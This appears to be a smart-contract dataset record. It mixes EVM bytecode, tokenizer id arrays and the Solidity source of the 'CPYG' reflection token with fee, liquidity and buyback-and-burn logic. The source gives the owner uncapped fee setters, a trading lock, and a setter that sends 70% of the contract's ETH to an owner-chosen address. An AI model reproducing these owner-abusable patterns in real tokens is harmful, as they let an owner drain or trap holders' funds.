b34801561028157600080fd5b506101146106c2565b34801561029657600080fd5b506101146106c8565b3480156102ab57600080fd5b506101146106ce565b3480156102c057600080fd5b506102c96106d4565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102fe57600080fd5b506101be6106f0565b34801561031357600080fd5b506101be610748565b34801561032857600080fd5b506101496107a3565b34801561033d57600080fd5b50610114600435610802565b60075481565b600d6020526000908152604090205481565b60055442111561037057600080fd5b6000600b5460ff16600281111561038357fe5b1461038d57600080fd5b336000908152600c602090815260408083208484528252808320805434908101909155600d909252909120805482019055600a805490910190819055700100000000000000000000000000000000116103e557600080fd5b604080513481529051829133917f05dd6468f34d7a132676df41da683484a2b8a02cc07ff08478e8d24a896785ab9181900360200190a350565b600c60209081526000928352604080842090915290825290205481565b60006002600b5460ff16600281111561045157fe5b1461045b57600080fd5b50336000818152600c6020908152604080832085845290915280822080549083905590519092916108fc841502918491818181858888f193505050501580156104a8573d6000803e3d6000fd5b505050565b600a5481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105385780601f1061050d57610100808354040283529160200191610538565b820191906000526020600020905b81548152906001019060200180831161051b57829003601f168201915b505050505081565b60055481565b60006001600b5460ff16600281111561055b57fe5b1461056557600080fd5b600e546000818152600d6020908152604080832054600754600a54338652600c855283862096865295909352922054919203028115156105a157fe5b336000818152600c60209081526040808320600e548452909152808220829055519390920493509183156108fc0291849190818181858888f193505050501580156105f0573d6000803e3d6000fd5b5050565b6005544211801561061557506000600b5460ff16600281111561061357fe5b145b151561062057600080fd5b60005473ffffffffffffffffffffffffffffffffffffffff16331461064457600080fd5b600e819055600181016009556000818152600d6020526040902054151561067757600b805460ff191660021790556106bf565b600b805460ff19166001179055600854600a546064910204600781905560405133916108fc811502916000818181858888f193505050501580156105f0573d6000803e3d6000fd5b50565b60085481565b60095481565b60065481565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105385780601f1061050d57610100808354040283529160200191610538565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105385780601f1061050d57610100808354040283529160200191610538565b6001600b5460ff1660028111156107b657fe5b14156107c157600080fd5b60005473ffffffffffffffffffffffffffffffffffffffff163314806107e8575060065442115b15156107f357600080fd5b600b805460ff19166002179055565b600480548290811061081057fe5b6000918252602090912001549050815600a165627a7a72305820fe081ef026422d081fc3e86a34699099aa14d5e10f910d234d01066a62cb2dd50029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2094, 2549, 2063, 2620, 29292, 20952, 2546, 2575, 2063, 25746, 2629, 2063, 2620, 2094, 2575, 2546, 2683, 4402, 28311, 2094, 24434, 2629, 2094, 2620, 2497, 2094, 2475, 2063, 27009, 2581, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 2023, 3206, 2003, 1037, 9292, 1997, 2852, 1012, 6927, 4013, 15878, 16643, 3070, 1005, 1055, 11968, 5714, 4904, 16284, 3206, 1012, 16770, 1024, 1013, 1013, 2565, 10760, 23467, 24925, 2078, 1012, 4012, 1013, 8466, 1013, 2760, 1013, 5709, 1013, 5511, 1013, 3015, 1011, 1037, 1011, 11968, 5714, 4904, 16284, 1011, 11897, 2099, 1011, 3206, 1013, 1013, 1013, 3176, 3806, 19739, 20838, 4485, 3597, 4667, 2011, 13703, 5877, 1012, 3206, 2054, 3527, 2229, 25389, 2401, 15222, 8950, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,860
0x95d693e394b18b624ea91a24819b305d43bfdf96
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * Available since v3.1. */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * Available since v3.1. */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * Available since v3.1. */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * Available since v3.1. */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } contract Balancer { constructor() public { } } contract CPYG is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "cpyg.network"; string private _symbol = "CPYG"; uint8 private _decimals = 9; mapping(address => uint256) internal _reflectionBalance; mapping(address => uint256) internal _tokenBalance; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private constant MAX = ~uint256(0); uint256 internal _tokenTotal = 5200e9; uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal)); mapping(address => bool) isExcludedFromFee; mapping(address => bool) internal _isExcluded; address[] internal _excluded; uint256 public _feeDecimal = 2; uint256 public _taxFee = 300; uint256 public _liquidityFee = 500; uint256 public _rebalanceCallerFee = 500; uint256 public _taxFeeTotal; uint256 public _burnFeeTotal; uint256 public _liquidityFeeTotal; bool public tradingEnabled = false; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public rebalanceEnalbed = true; address payable balancer2; uint256 public minTokensBeforeSwap = 100; uint256 public minEthBeforeSwap = 100; uint256 public liquidityAddedAt; uint256 public lastRebalance = now ; uint256 public rebalanceInterval = 30 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address public balancer; event TradingEnabled(bool enabled); event RewardsDistributed(uint256 amount); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapedTokenForEth(uint256 EthAmount, uint256 TokenAmount); event SwapedEthForTokens(uint256 EthAmount, uint256 TokenAmount, uint256 CallerReward, uint256 AmountBurned); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() public { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //@dev Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; balancer = address(new Balancer()); isExcludedFromFee[_msgSender()] = true; isExcludedFromFee[address(this)] = true; _isExcluded[uniswapV2Pair] = true; _excluded.push(uniswapV2Pair); _reflectionBalance[_msgSender()] = _reflectionTotal; emit Transfer(address(0), _msgSender(), _tokenTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _tokenTotal; } function balanceOf(address account) public override view returns (uint256) { if (_isExcluded[account]) return _tokenBalance[account]; return tokenFromReflection(_reflectionBalance[account]); } function transfer(address recipient, uint256 amount) public override virtual returns (bool) { _transfer(_msgSender(),recipient,amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override virtual returns (bool) { _transfer(sender,recipient,amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee) public view returns (uint256) { require(tokenAmount <= _tokenTotal, "Amount must be less than supply"); if (!deductTransferFee) { return tokenAmount.mul(_getReflectionRate()); } else { return tokenAmount.sub(tokenAmount.mul(_taxFee).div(10** _feeDecimal + 2)).mul(_getReflectionRate()); } } function tokenFromReflection(uint256 reflectionAmount) public view returns (uint256) { require( reflectionAmount <= _reflectionTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getReflectionRate(); return reflectionAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "AERUS: Uniswap router cannot be excluded." ); require(account != address(this), 'AERUS: The contract it self cannot be excluded'); require(!_isExcluded[account], "AERUS: Account is already excluded"); if (_reflectionBalance[account] > 0) {_tokenBalance[account] = tokenFromReflection(_reflectionBalance[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "AERUS: Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tokenBalance[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(tradingEnabled || sender == owner() || recipient == owner() || isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is locked before presale."); //@dev Limit the transfer to 1200 tokens for first 5 minutes // require(now > liquidityAddedAt + 7 minutes || amount <= 1200e9, "You cannot transfer more than 1200 tokens."); if(!inSwapAndLiquify && sender != uniswapV2Pair && sender != owner()) { bool swap = true; uint256 contractBalance = address(this).balance; //@dev Buy tokens if(now > lastRebalance + rebalanceInterval && rebalanceEnalbed && contractBalance >= minEthBeforeSwap){ buyAndBurnToken(contractBalance); swap = false; } if(swap) { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if (overMinTokenBalance && swapAndLiquifyEnabled) { swapTokensForEth(); } } } uint256 transferAmount = amount; uint256 rate = _getReflectionRate(); if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && !inSwapAndLiquify){ transferAmount = collectFee(sender,amount,rate); } _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate)); //@dev If any account belongs to the excludedAccount transfer token if (_isExcluded[sender]) { _tokenBalance[sender] = _tokenBalance[sender].sub(amount); } if (_isExcluded[recipient]) { _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); } emit Transfer(sender, recipient, transferAmount); } function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) { uint256 transferAmount = amount; //@dev Tax fee if(_taxFee != 0){ uint256 taxFee = amount.mul(_taxFee).div(10**(_feeDecimal + 2)); transferAmount = transferAmount.sub(taxFee); _reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate)); _taxFeeTotal = _taxFeeTotal.add(taxFee); emit RewardsDistributed(taxFee); } //@dev Take liquidity fee if(_liquidityFee != 0){ uint256 liquidityFee = amount.mul(_liquidityFee).div(10**(_feeDecimal + 2)); transferAmount = transferAmount.sub(liquidityFee); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate)); _liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee); emit Transfer(account,address(this),liquidityFee); } return transferAmount; } function _getReflectionRate() private view returns (uint256) { uint256 reflectionSupply = _reflectionTotal; uint256 tokenSupply = _tokenTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _reflectionBalance[_excluded[i]] > reflectionSupply || _tokenBalance[_excluded[i]] > tokenSupply ) return _reflectionTotal.div(_tokenTotal); reflectionSupply = reflectionSupply.sub( _reflectionBalance[_excluded[i]] ); tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]); } if (reflectionSupply < _reflectionTotal.div(_tokenTotal)) return _reflectionTotal.div(_tokenTotal); return reflectionSupply.div(tokenSupply); } function swapTokensForEth() private { _swapTokensForEth(address(this)); } function _swapTokensForEth(address to) private lockTheSwap { uint256 tokenAmount = balanceOf(address(this)); //@dev Generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); //@dev Make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, to, block.timestamp ); } function swapEthForTokens(uint256 EthAmount) private { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: EthAmount}( 0, path, address(balancer), block.timestamp ); } function buyAndBurnToken(uint256 contractBalance) private lockTheSwap { lastRebalance = now; //@dev Uniswap doesn't allow for a token to buy itself, so we have to use an external account, which in this case is called the balancer uint256 laterBuyback = 0; if (balancer2 != address(0)) { laterBuyback = contractBalance.mul(7).div(10); balancer2.transfer(laterBuyback); } swapEthForTokens(contractBalance.sub(laterBuyback)); //@dev How much tokens we swaped into uint256 swapedTokens = balanceOf(address(balancer)); uint256 rewardForCaller = swapedTokens.mul(_rebalanceCallerFee).div(10**(_feeDecimal + 2)); uint256 amountToBurn = swapedTokens.sub(rewardForCaller); uint256 rate = _getReflectionRate(); _reflectionBalance[tx.origin] = _reflectionBalance[tx.origin].add(rewardForCaller.mul(rate)); _reflectionBalance[address(balancer)] = 0; _burnFeeTotal = _burnFeeTotal.add(amountToBurn); _tokenTotal = _tokenTotal.sub(amountToBurn); _reflectionTotal = _reflectionTotal.sub(amountToBurn.mul(rate)); emit Transfer(address(balancer), tx.origin, rewardForCaller); emit Transfer(address(balancer), address(0), amountToBurn); emit SwapedEthForTokens(contractBalance, swapedTokens, rewardForCaller, amountToBurn); } function setExcludedFromFee(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function setSwapAndLiquifyEnabled(bool enabled) public onlyOwner { swapAndLiquifyEnabled = enabled; SwapAndLiquifyEnabledUpdated(enabled); } function setTaxFee(uint256 fee) public onlyOwner { _taxFee = fee; } function setLiquidityFee(uint256 fee) public onlyOwner { _liquidityFee = fee; } function setRebalanceCallerFee(uint256 fee) public onlyOwner { _rebalanceCallerFee = fee; } function setMinTokensBeforeSwap(uint256 amount) public onlyOwner { minTokensBeforeSwap = amount; } function setMinEthBeforeSwap(uint256 amount) public onlyOwner { minEthBeforeSwap = amount; } function setBalancer(address payable addr) public onlyOwner { balancer2 = addr; } function multiTransfer(address[] memory addresses, uint256 amount) public { for (uint256 i = 0; i < addresses.length; i++) { transfer(addresses[i], amount); } } function setRebalanceInterval(uint256 interval) public onlyOwner { rebalanceInterval = interval; } function setRebalanceEnabled(bool enabled) public onlyOwner { rebalanceEnalbed = enabled; } function enableTrading() external onlyOwner() { tradingEnabled = true; TradingEnabled(true); liquidityAddedAt = now; } receive() external payable {} }
0x6080604052600436106103225760003560e01c80635ce15f7e116101a5578063a457c2d7116100ec578063d400336f11610095578063e5d41c6b1161006f578063e5d41c6b14610a8d578063f2cc0c1814610aa2578063f2fde38b14610ad5578063f84354f114610b0857610329565b8063d400336f14610a28578063dd62ed3e14610a3d578063e563037e14610a7857610329565b8063c49b9a80116100c6578063c49b9a801461099f578063cba0e996146109cb578063cd980e56146109fe57610329565b8063a457c2d714610903578063a9059cbb1461093c578063c4081a4c1461097557610329565b80637e64c7aa1161014e57806395d89b411161012857806395d89b41146108275780639d46cf8a1461083c578063a16a31791461085157610329565b80637e64c7aa146107e85780638a8c523c146107fd5780638da5cb5b1461081257610329565b80636bc87c3a1161017f5780636bc87c3a1461078b57806370a08231146107a0578063715018a6146107d357610329565b80635ce15f7e146106f35780636612e66f1461071d57806368c32b9c1461075857610329565b8063355bc60b1161026957806348a46473116102125780634ada218b116101ec5780634ada218b1461068857806355a50ede1461069d5780635b7dcaed146106c957610329565b806348a464731461063457806349bd5a5e1461065e5780634a74bb021461067357610329565b8063395093511161024357806339509351146105b45780633b124fe7146105ed5780634549b0391461060257610329565b8063355bc60b1461055e578063357bf15c1461057357806338e07fb21461059f57610329565b806316d1d916116102cb57806323b872dd116102a557806323b872dd146104c65780632d83811914610509578063313ce5671461053357610329565b806316d1d9161461048757806318160ddd1461049c57806319db457d146104b157610329565b80630d9a5219116102fc5780630d9a52191461042c578063106b9ca1146104415780631694505e1461045657610329565b806304b645271461032e57806306fdde0314610355578063095ea7b3146103df57610329565b3661032957005b600080fd5b34801561033a57600080fd5b50610343610b3b565b60408051918252519081900360200190f35b34801561036157600080fd5b5061036a610b41565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103a457818101518382015260200161038c565b50505050905090810190601f1680156103d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103eb57600080fd5b506104186004803603604081101561040257600080fd5b506001600160a01b038135169060200135610bd7565b604080519115158252519081900360200190f35b34801561043857600080fd5b50610343610bf5565b34801561044d57600080fd5b50610343610bfb565b34801561046257600080fd5b5061046b610c01565b604080516001600160a01b039092168252519081900360200190f35b34801561049357600080fd5b50610343610c10565b3480156104a857600080fd5b50610343610c16565b3480156104bd57600080fd5b50610343610c1c565b3480156104d257600080fd5b50610418600480360360608110156104e957600080fd5b506001600160a01b03813581169160208101359091169060400135610c22565b34801561051557600080fd5b506103436004803603602081101561052c57600080fd5b5035610ca9565b34801561053f57600080fd5b50610548610d0b565b6040805160ff9092168252519081900360200190f35b34801561056a57600080fd5b50610343610d14565b34801561057f57600080fd5b5061059d6004803603602081101561059657600080fd5b5035610d1a565b005b3480156105ab57600080fd5b50610418610d89565b3480156105c057600080fd5b50610418600480360360408110156105d757600080fd5b506001600160a01b038135169060200135610d99565b3480156105f957600080fd5b50610343610de7565b34801561060e57600080fd5b506103436004803603604081101561062557600080fd5b50803590602001351515610ded565b34801561064057600080fd5b5061059d6004803603602081101561065757600080